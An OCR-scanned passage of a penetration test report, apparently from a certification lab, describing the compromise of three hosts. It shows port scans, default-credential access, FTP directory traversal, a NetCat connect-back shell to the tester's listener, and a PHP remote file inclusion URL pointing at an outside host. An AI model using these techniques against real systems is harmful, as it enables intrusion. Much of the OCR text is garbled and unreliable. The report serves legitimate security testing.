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1. Executive Summary

We were challenged to perform external and internal penetration test towards HSIYF servers.
We did not find the all vulnerabilities, bacse the aim was to get the proof.txt file from the
target machines.

The external penetration test wasexessary stefpwardsthe internal network. Themnachine

with routable IP addressas www[12].noobfilter.com. After checking fora lot of possible
vulnerahlity vectors, we foundan IPS administration interface with weak password. The
management interface is vulnerable to OS command execution.

After we got access to nodiiterd proof.txi we were able access the internal network.

Offensive Security mvided an FTP account to the killthenOOb machine. The FTP server is
vulnerable to directory traversal bug. We could upload amgutable to the server through

this bug and got command line access to the server with SYSTEM privileges.

The last tested macte was the one named ghost. Through vulnerable PHP scripts we could
run arbitrary operating system commands with the privileges of the web server. The actual
kernel is vulnerable to ReiserFS privilege Escalation so we could also get root privileges on
this machine.

Target system Vulnerabilities Risk rating

www[1-2].noobkfilter.com Weak IPS administrator High
password, remote commang
execution through vulnerabls

IPS
Internal machine: killthenOOl FTPd directory traversal, High
excess privileg of the servicg
Internal machine: ghost Remote file inclusion throug| High

vulnerable web application,
command execution,
vulnerable kernel version
(ReiserFs xattr

Privilege Escalation )
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2. Methodology

The main goal of the test was to access the proof.txt file otfathet servers, not to reveal all
possible security vulnerabilities. Automatic vulnerability scanrierexcept from nmap
portscanner and DirBuster directory crawilexere not used during the test. The report details
the method of accessing the proofs émelother ways (which were later considered as dead
ends)too.

2.1 Penetration

2.1.1.www2.noob-filter.com

We used the nmap port scanner to discover the open ports of the target system. We
used the

nmap-sV -p1-10000 -r -n -v -T4 www2.noob- filter.com

command fotthe scan and found, that the target has only TCP port 80 (HTTP) open,
which had an HTTP server listening on. Based on the HTTP header information, it
was presumed to be a Linux server.

The HTTP server ran a PHP based web application that provided airsfiaticpage
(index.html), that could be used to send username and password information to a script
calledlogin.php, whichseemed to implement authentication for the further parts of the
application. The login script showed an HTML page if the authergitatiformation

was incorrect, independently from the supplied input.

The application was protected with a wagtplication firewall, which filtered every
request going towards login.php.

We couldn't provide such input that would trigger a PHP error orimgarn

If we sent commonly used attack strings to login.php, the web application firewall
provided an error message that revealed ithats a DotDefendérweb application
firewall instance.

We tried to bypass the WAF and perform different injection astacklogin.php.

When trying SQL injection, XPath injection and LDAP injection we could provide
several different attack strings for the login script without triggering the firewall block.
However, we couldn't find a way to bypass the authentication oe ¢hasapplication

to reveal any relevant information.

We provided unusually long strings for the application hoping that we could trigger an
error in some backnd service or in the HTTP server itself. We couldn't trigger any
error in the application.

There is a publicly known remote commagsecutionvulnerability’ affecting the
DotDefender WAF. The DotDefender administration interface is accessible after

1http://www.applicure.com/
2 hitp://www.exploitdb.com/exploits/10261
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authentication at www[12].noefiter.com/dotDefender/. The authenticatimasdone

via basic HTTP athentication. We tried the most common username/password
combinations to access this interface. Whild successfully login usingdmin as
username angasswordas passwordThe DotDefender installation was affected by
the above vulnerability so we couldrr arbitrary operating system commands with the

privileges of the HTTP server.

The HTTP server ran witgpache privileges so we could access almost the witele
system We ran a search for the rffecret.txt file which was the target of the task.

We ha\e found the target file under /opt/.

& dnet:screen
-xr-x 3 root root 1024 Apr 22 23:
/
10262
Xr-Xxr-
SXr-
WXI- XTI -
XTI - XTI -

bin
boot
dev
etc
home
lib
lost+found
9 media
mnt
3 opt
149 proc
root
sbin
selinux
snort.tar
2009 srv
13:49
14:13
23:34
23:58

root root 4096 May
root root 1024 Apr
root root 3880 May
root root 4096 May
root root 4096 Apr
root root 12288 May
2 root root 16384 Apr
root root 4096 Aug
root root 4096 Aug
root root 4096 May
root root 0 May
root root 4096 May
root root 12288 May
root root 4096 Apr
root root 10414080 Apr
root root 4096 Aug
root root 0 May
root root 4096 May
root root 4096 Apr 2
root root 4096 Apr

N

= o~
UVWrHENUN

NNN N
VU UNBOOO WD

2
2
3
142
<]
2
2
1
2
3
4

NNN

N

NNODODUWNBSOO

N

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address
tcp 0

tcp

11022
Active UNIX domain sockets (only servers)

Proto RefCnt Flags Type State I-Node PID/Program name

unix 2 [ acc ] STREAM LISTENING 9125
find / -name nOGbSecret.txt 2>/dev/null
/opt/0c2b7b8071ee658e1c957d3b024f f872d2/n00bSecret. txt

[ hatvanegy
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State PID/Program name
LISTEN -

LISTEN

LISTEN

LISTEN

LISTEN

Path
/var/run/dbus/system_bus_socket

6% bash 7% bash
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2.1.2.killthenO0b

We used the nmap port scanner to discover the open ports of the target system. We
used the

nmap - A - T4 - oA hetvenes -PN-vvv 192.168.6.70

command for the scan and found, that the targdtseaeralopen TCP ports. The
relevant parts of the output of the scan:

PORT STATE SERVICE VERSION
21/tcp open ftp?

25/tcp open smtp Surgemail smtpd 3.8k4 -4

80/tcp open http?

106/tcp open pop3pw Qualcomm poppassd (Maximum users connected)
110/tcp open pop3 SurgeMail pop3d 3.8k4 -4

143/tcp open imap SurgeMail imapd 3.8k4 -4

366/tcp open smtp Surgemail smtpd 3.8k4 -4

465/tcp open smtps?

587/tcp open smtp Surgemail smtpd 3.8k4 -4

993/tcp op en imaps?

995/tcp open pop3s?

3389/tcp open ms  -term-serv?
7025/tcp open unknown
7443/tcp open unknown

The portscan showed that there was a SurgéMaiiail server instance installed on
the target with its webmail extension. On TCP port 3389 theas a Microsoft
Windows Remote Desktop servilistening that showed that the target runs Windows
7 Ultimate operating system. We couldn't identify the exaadorand version of the
FTP server software.

We had a user account available for the FTP seA&we logged init becameclear

that the usewasjailed in itsprofile directory Although we didn't know whatind of

FTP server we had access to, we tried to trigger standard buffer overflow and directory
traversal bugs in it. We could escape thelg providing longé \6 sequences to the
CWD command.

3 http://netwinsite.com/surgemail/

SILENT SIGNAL Kift.
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& dnet:screen

ftp> cd ..\..\
250 Directory changed " /MyDocuments/....".
\".\\
changed " /MyDocuments/
BEAY
250 Directory changed " /MyDocuments/. .
ftp>icd .\a\
250 Directory changed n/MyDocUMENtS /s i nin il mmadio e s
ftp> cd ..\..\
250 Directory changed  IMYDECUMEN LS/ 5asal vo sl ve ol e s aas
ftp> cd . \
250 Directory changed " /MyDocuments/
fp=icd .o\.aN
250 Directory changed " /MyDocuments/
ftp> cd ..\..\
250 Directory changed " /MyDocuments/
Ftpaded SN2y
250 Directory changed to "/MyDocuments/..../..../..../ S oiny SR f DY SISy sy L
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for listing
admin users May 22:58 $Recycle.Bin
admin users Jul 2009 Documents and Settings
admin users Jul 2009 PerflLogs
admin users May 19:20 Program Files
admin users May 19:21 ProgramData
admin users May 22:51 Python26
admin users Apr 01:21 Recovery
admin users May 23:51 surgemail
admin users May 22:38 System Volume Information
admin users May 23:49 Users
admin users May 03 21:28 Windows
admin users 24 Jun 2009 autoexec.bat
admin users 10 Jun 2009 config.sys
admin users 2147016704 May 23:44 pagefile.sys
-r--rr---- 1 admin users 12645888 May 03 05:53 surgemail_installer.exe
226 Transfer complete.
[ hatv S#*gbash

[cloloNoNoNoNoNoNoNo)

(o]

This way we could reach SurgeMail's webmail root, and upload files there. Since the
HTTP service was configured to execute Portable Executable binaries as CGI scripts
we could upload a NetCat esutable that we could run by querying it via a web
browser so we could get a connect back shell to the target machine. Since the HTTP
service ran with NT AUTHORITY/SYSTEM privileges, we could idasccess the
proof.txtfile on the Administratas Desktop

hatvanegy: /home/dnet/_projekt/osht/phase2# nc -lvp 53

nc: listening on :: 53 ...

nc: listening on 0.0.0.0 53 ...

nc: connect to 192.168.6.160 53 from 192.168.6.72 (192.168.6.72) 49246 [49246]
nc: using stream socket

Microsoft wWindows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

c:\surgemail\scripts>whoami
whoami

nt authority\system

c:\surgemail\scripts>type c:\users\administrator\proof.txt
type c:\users\administrator\proof.txt
The system cannot find the file specified.

c:\surgemail\scripts>type c:\users\administrator\desktop\proof.txt
type c:\users\administrator\desktop\proof.txt
a61b0c1bf71267289efeect778b1eSle

c:\surgemail\scripts

There are several peatithentication vulnerabilities affecting SurgeMail. We didn't
test these since we didn't have ready to use accounts to this application. However, by
exploiting the above FTP vulnerability we could access SurgeMail's passvabreisha
which could be possibly cracked.

SILENT SIGNAL Kift
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2.1.3.ghost

We used the nmap port scanner to discover the open ports of the target system. We
used the

nmap - A -T4 192.168.1.66

command for the scan and found, that the target has only TCP port 80 (HTTP) open.
Nmapwas unable to determine the specific daemon listening on the port, but through
the use of a web browser we determined, that an HTTPd was bound to port 80.

Assuming that the previously compromised killthenOOb server was a trustworthy
component of the taeg network we performedhe sameortscan from that machine
but found no other services available from that path.

By sending handrafted HTTP requests using netcat, it became clear, that although

the server advert i-lsledte ordr of thé HTTRAleadérdihich o s o f
is irrelevant according to RFC 2616, but is specific to every HTTPd) suggested
otherwise. We compared them to a collection of headers gatheyed Various

commonly used HTTRg but found no match, so we decided to try sevdRiLs

which are handled differently by various HTTPds and Ofes.h t a was sesvedo

with a 403, so wer&doc andfVcgi-bin/d, so we became suspicious that the HTTPd

could be an Apache.

dnet@hatvanegy:~$ curl -D - http://192.168.6.66/cgi-bin
HTTP/1.1 404 Not Found

Date: Tue, 04 May 2010 20:08:47 GMT

Server: Microsoft-IIS

Content-Length: 90

Content-Type: text/html

Cache-control: private

<titlesHUH?</title>
<body=>

<center>

<img src="/BBP.]jpg"/>

dnet@hatvanegy:~$ curl -D - http://192.168.6.66/cg1-bin/
HTTP/1.1 403 Forbidden

Date: Tue, 04 May 2010 20:08:49 GMT

Server: Microsoft-IIS

Content-Length: 90

Content-Type: text/html

Cache-control: private

<title>HUH?</title>
<body=

<center=>

<img src="/BBP.]jpg"/>

SILENT SIGNAL Kift.
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It also become clear théindex.ap davas not served throughSP but rather through
PHP, by adding a PHP easter egg patarh.

€« & |'S% nitp://192.168.6.66/7=-PHPEY568F36-D428-11d2-A769-00AA001ACF42

The use of PHP made us almost certain, that the HWiERh fact an Apache. To

prove our hypotheses, we tried to send a query with an >50000 characters long URL,
and the response wasry similar (in fact, the only differed in the server vendor

string) to an Apache one.

dnet@hatvanegy:~$ curl -D - http://192.168.6.66/1ndex.asp? python -c "print 'A' * 50000"
HTTP/1.1 414 Request-URI Too Large

Date: Tue, 04 May 2010 20:03:13 GMT

Server: Microsoft-IIS

Vary: Accept-Encoding

Content-Length: 327

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>

<title>414 Request-URI Too Large</title>
</head><body>

<hl>Request-URI Too Large</hl=>

<p>The requested URL's length exceeds the capacity
limit for this server.<br />

<address>Microsoft-IIS Server at ghost.local Port 80</address>
</b0dy></htm1>

dnet@hatvanegy:~$ curl -D - http://vsza.hu/? python -c "print 'A' * 50000""
HTTP/1.1 414 Request-URI Too Large

Date: Sun, 09 May 2010 14:15:05 GMT

Server: Apache

Content-Length: 320

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>

<title>414 Request-URI Too Large</title>
</head><body>

<hl=>Request-URI Too Large</hl=>

<p>The requested URL's length exceeds the capacity
limit for this server.<br />

<address=>Apache Server at server2.cs-source.hu Port 80</address=>
</body></html>
dnet@hatvaneqy:~$

We still had to determine the OS running the Apache, so we requested bbp.jpg (we
knew that BBP.jpg existed from the 404 handler page), and an Apache running on
Win32 would have served BBP.jpg because of Microsoft's handling ofsesmsavity

in the file system. We got a 404, so it became clear that not only the H¥a@$ttbt
Microsoft1IS, even the OSvassomething other than Windows.

4 http://www.0Ophp.com/php_easter_egg.php
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HTTP/1.1 404 Not Found

Date: Tue, 04 May 2010 19:55:35 GMT
Server: Microsoft-IIS
Content-Length: 90

Content-Type: text/html
Cache-control: private

<html>

<head=>
<title>HUH?</t1tle>
<body=

<center>

<img src="/BBP.jpg"/>
</center>

</body>

dnet@hatvanegy:~/_projekt/osht/phase3$ wget http://192.168.6.66/bbp.]pg
--2010-05-09 07:51:06-- http://192.168.6.66/bbp.jpg

Csatlakozas a kovetkezdéhdz: 192.168.6.66:80.. kapcsolédva.

HTTP kérés elkuldve, varakozas valaszra.. 404 Not Found

2010-05-09 07:51:06 HIBA 404: Not Found.

Left with an Apache runningn a noAWindows OS as the only reachable service, we
launched a Dirbuster scan with innocent delays, and discovered (among other
irrelevant pages) another login interface running in the /1/ directory. After several
minutes of Google search, we found otftat it was powered by Mario Valdez's
Simple TextFile Login script (SiTeFiLo) which everyone could download from
http://www.mariovaldez.net/software/sitefilo/download.php.

We downloaded the application and based on the source code, we tried to aecess th
password file, which returned a smiley, so we took a dive in the source code. Through
code analysis we found a file inclusion vulnerability in the slogin_lib.inc.php file,
which could be triggered through the $slogin_path variable if the
REGISTER_GLOBALSSs enabled in the PHP configuration. It can also be turned into

a remote file inclusion, if ALLOW_URL_FOPEN (or ALLOW_URL_INCLUDE on
recent PHP versions) is enabled too. As it turned out, the serverowiguced with

these settings i we tried opening th handcrafted malicious
http://192.168.6.66/1/slogin_lib.inc?slogin_path=http://192.168.6.160 URL with a
web browser (where 192.168.6.1%8sour VPN IPaddressand we got the expected
gueries irthe access log files our HTTPd.

After cr/aatdaeg.filejwe cofldhgxecute PHP code on the server
using the privileges of the wwaata user.
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